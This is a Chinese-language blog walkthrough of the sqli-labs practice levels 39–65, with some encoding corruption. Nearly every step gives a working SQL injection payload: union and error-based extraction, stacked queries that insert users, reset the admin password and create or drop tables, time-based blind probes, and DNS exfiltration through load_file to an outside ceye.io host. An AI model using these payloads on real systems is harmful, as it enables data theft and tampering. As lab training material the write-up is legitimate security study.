sqli-labs 39-75
接上篇文章https://plumstar.cn/2022/06/27/sqli-labs-1-38/
39-44
less39�?
�?38一样,只不过是整数型,不需要引号闭�?
?id=100 union select 1,2,group_concat(flag) from flag;insert into users values(18,'p1','p1') --+
less40�?
换汤不换药,改个闭合
?id=100') union select 1,2,group_concat(flag) from flag;insert into users values(18,'p1','p1') --+
**less41�?**�?39 看着源代码都是一摸一样的
?id=100 union select 1,2,group_concat(flag) from flag;insert into users values(18,'p1','p1') --+
**less42�?**一个登录口,username进行了过滤,passwd没过滤,在passwd处写payload
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
···
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
先去试试之前用过的任意改密码,发现行不通;然后去尝试万能密码,直接login_user=admin&login_password=1' or 1=1
,登录成功,然后去掉1=1尝试,login_user=admin&login_password=1'
,出现报错信息,直接报错注入
login_user=admin&login_password=1' or updatexml(1,concat(0x7e,(select group_concat(flag) from flag)),1)#&mysubmit=Login
当然用堆叠也可以,直接在登录界面把admin的密码改了就�?
login_user=admin&login_password=1';update security.users set password='666'where id=1#&mysubmit=Login
**less43�?**一样的套路,password处闭合改一�?
login_user=admin&login_password=1') or updatexml(1,concat(0x7e,(select group_concat(flag) from flag)),1)#&mysubmit=Login
**less44�?**无报错提示,所以不能用报错注入了,就直接查询或者堆叠都可以,先需要去判断回显�?
login_user=admin&login_password=1' union select 1,2,3#&mysubmit=Login
回显点在2处,直接写payload
login_user=admin&login_password=1' union select 1,(select group_concat(flag) from flag),3#&mysubmit=Login
45-50
**less45�?**同上,改一下闭�?
login_user=admin&login_password=1') union select 1,(select group_concat(flag) from flag),3#&mysubmit=Login
**less46�?**这一关参数变了,并且SQL语句也变了一下,那么传参就改一�?
$id=$_GET['sort'];
···
$sql = "SELECT * FROM users ORDER BY $id";
简单试了一下有报错提示,直接报错注入完�?
?sort=1 and updatexml(0,concat(0x7e,(select group_concat(flag) from flag)),0)#
**less47�?**改个闭合,其他同�?(这一关闭合#
改成url编码%23
,要不然会失�?)
?sort=1' and updatexml(0,concat(0x7e,(select group_concat(flag) from flag)),0)%23
**less48�?**报错信息删了,然后查询注入也没法用,查询也只有你输入1-14时才会有回显,直接时间盲注,脚本参考前一篇文章第9关,把脚本中的payload改了就行
?sort=1 and if(substr(database(),1,1)='s',sleep(3),1) --+
**less49�?**�?48,闭合改成单引号
?sort=1' and if(substr(database(),1,1)='s',sleep(3),1) --+
**less50�?**可堆叠可报错可能可以查询,大家自己看着办,其实这一关的目的在于用了mysqli_multi_query
可以堆叠注入
?sort=1 and updatexml(0,concat(0x7e,(select group_concat(flag) from flag)),0)%23
51-53
**less51�?**也是一样的mysqli_multi_query
函数,改了闭�?
?sort=1' and updatexml(0,concat(0x7e,(select group_concat(flag) from flag)),0)%23
**less52�?**无报错信息,其他跟前一关一样,盲注或者堆叠即可,整数�?
1;create table test like users;%23
1;drop table test;%23
**less53�?**�?52,整形,改一下闭�?
1;create table test like users;%23
1;drop table test;%23
54-65
这几关跟前面的有一点略微区别,会限制你输入的语句次数,如果次数超过就需要重置,并且数据库也是随机生�?(但是数据库名字已经给我们�?*CHALLENGES*),这就需要去谨慎尝试生SQL语句,在为数不多的次数中注入出我们需要的信息
**less54�?**源码没有啥需要看的,限制次数为十次,需要去注入出密钥,核心SQL语句为,闭合方式为单引号闭合
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
先判断字段数以及显示位置
?id=1' order by 4 %23
?id=1' order by 3 %23
?id=-1' union select 1,2,3 %23
查询数据库中存在的名字:?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) %23
然后找这个challenges,获取你自己生成的一串key:?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges') %23
获取这个表中存在的字段,注意table_name都是不一样的,这里就不贴图了:?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='qj9fr7qqxi') %23
获取这个表中的key即可?id=-1' union select 1,2,(select group_concat(secret_75HS) from challenges.qj9fr7qqxi) %23
**less55�?**同上,闭合改成)
闭合
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
**less56�?**�?54,闭合改为')
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
**less57�?**闭合改成"
,其他同�?
$id= '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
**less58�?**58-61给的是五次机会,那指定不是查询了,看了眼源码发现会显示报错信息,那么就可以开始报错注入啦
查询库,因为这个表会新建在第一个,所以报错字数限制对我们没影�?
?id=-1' and updatexml(0,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),0) %23
查询challenges中存在的�?
?id=-1' and updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0) %23
查询这个表中存在的字段以及字段内�?
#查询存在的字段,同样table_name换成你查询出来的
?id=-1' and updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='tk1m7dvdbl')),0) %23
#查询需要获取的key
?id=-1' and updatexml(0,concat(0x7e,(select group_concat(secret_B1TL) from challenges.tk1m7dvdbl)),0)%23
**less59�?**闭合改成整形,例如:?id=-1 and updatexml(0,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),0) %23
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";//源码中sql查询语句
**less60�?**闭合改成")
$id = '("'.$id.'")';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
**less61�?**闭合改成'))
,例如?id=-1')) and updatexml(0,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),0) %23
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
**less62�?**62-65给的�?130次的上限,并且无回显无报错,那么就只有拿时间来进行盲注,不过dnslog
也可以,这里我就懒的改脚本了,直接dns,这一关的闭合是')
老规矩先查数据库名字,查出来叫challenges
?id=1') and load_file(concat('\\\\',(select database()),'.sg4avy.ceye.io\\abc'))--+
然后查表名,这里因为只有一张表,就不需要加limit限制了,如果多于一张表,dnslog注入会失败,dns处不会受到信�?
?id=1') and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database()),'.sg4avy.ceye.io\\abc'))--+
表名查出来之后就是一系列跟进查询
dnslog查询一次只能查一个字段,所以在后面加上
limit 0,1
限制查询,表示查第一个第一行第一个,limit 1,1
表示查第一行第二个,以此类推,全查出来
#查表中存在的字段,还是一样table_name换成你之前查出来的,比如我这里是b56larhmp4,你也可以去数据库验证一下查的对不对
?id=1') and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='b56larhmp4' limit 2,1),'.sg4avy.ceye.io\\abc'))--+
那么查询出来我们需要找到的字段,就构造最后的payload即可,查询这个字段的内容
?id=1') and load_file(concat('\\\\',(select secret_WOQ4 from b56larhmp4 limit 0,1),'.sg4avy.ceye.io\\abc'))--+
**less63�?**闭合改一下,改成单引号闭合,其他�?62
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
**less64�?**闭合改成))
,其他同62
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
**less65�?**闭合改成单括号,其他�?62
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
那么到这里sqli-labs全部关卡就已经做完了,如果对文章内容有疑问请在此页面评论